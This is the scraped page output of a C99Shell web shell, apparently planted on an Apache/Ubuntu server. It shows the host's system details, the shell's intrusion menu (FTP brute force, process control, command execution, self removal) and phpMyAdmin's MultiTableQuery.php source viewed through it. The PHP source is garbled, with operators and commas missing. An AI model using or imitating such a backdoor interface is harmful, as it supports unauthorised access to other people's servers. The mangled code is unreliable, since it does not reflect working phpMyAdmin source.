!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Database/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MultiTableQuery.php (3.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Handles DB Multi-table query
 *
 * @package PhpMyAdmin
 */
namespace PhpMyAdmin\Database;

use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\ParseAnalyze;
use 
PhpMyAdmin\Sql;
use 
PhpMyAdmin\Template;

/**
 * Class to handle database Multi-table querying
 *
 * @package PhpMyAdmin
 */
class MultiTableQuery
{
    
/**
     * DatabaseInterface instance
     *
     * @access private
     * @var DatabaseInterface
     */
    
private $dbi;

    
/**
     * Database name
     *
     * @access private
     * @var string
     */
    
private $db;

    
/**
     * Default number of columns
     *
     * @access private
     * @var integer
     */
    
private $defaultNoOfColumns;

    
/**
     * Table names
     *
     * @access private
     * @var array
     */
    
private $tables;

    
/**
     * Constructor
     *
     * @param DatabaseInterface $dbi                DatabaseInterface instance
     * @param string            $dbName             Database name
     * @param integer           $defaultNoOfColumns Default number of columns
     */
    
public function __construct(
        
DatabaseInterface $dbi,
        
$dbName,
        
$defaultNoOfColumns 3
    
) {
        
$this->dbi $dbi;
        
$this->db $dbName;
        
$this->defaultNoOfColumns $defaultNoOfColumns;

        
$this->tables $this->dbi->getTables($this->db);
    }

    
/**
     * Get Multi-Table query page HTML
     *
     * @return string Multi-Table query page HTML
     */
    
public function getFormHtml()
    {
        
$tables = [];
        foreach(
$this->tables as $table) {
            
$tables[$table]['hash'] = md5($table);
            
$tables[$table]['columns'] = array_keys(
                
$this->dbi->getColumns($this->db$table)
            );
        }
        return 
Template::get('database/multi_table_query/form')->render([
            
'db' => $this->db,
            
'tables' => $tables,
            
'default_no_of_columns' => $this->defaultNoOfColumns,
        ]);
    }

    
/**
     * Displays multi-table query results
     *
     * @param string $sqlQuery      The query to parse
     * @param string $db            The current database
     * @param string $pmaThemeImage Uri of the PMA theme image
     *
     * @return void
     */
    
public static function displayResults($sqlQuery$db$pmaThemeImage)
    {
        list(
            
$analyzedSqlResults,
            
$db,
            
$tableFromSql
        
) = ParseAnalyze::sqlQuery($sqlQuery$db);

        
extract($analyzedSqlResults);
        
$goto 'db_multi_table_query.php';
        
$sql = new Sql();
        
$sql->executeQueryAndSendQueryResponse(
            
null// analyzed_sql_results
            
false// is_gotofile
            
$db// db
            
null// table
            
null// find_real_end
            
null// sql_query_for_bookmark - see below
            
null// extra_data
            
null// message_to_show
            
null// message
            
null// sql_data
            
$goto// goto
            
$pmaThemeImage// pmaThemeImage
            
null// disp_query
            
null// disp_message
            
null// query_type
            
$sqlQuery// sql_query
            
null// selectedTables
            
null // complete_query
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.035 ]--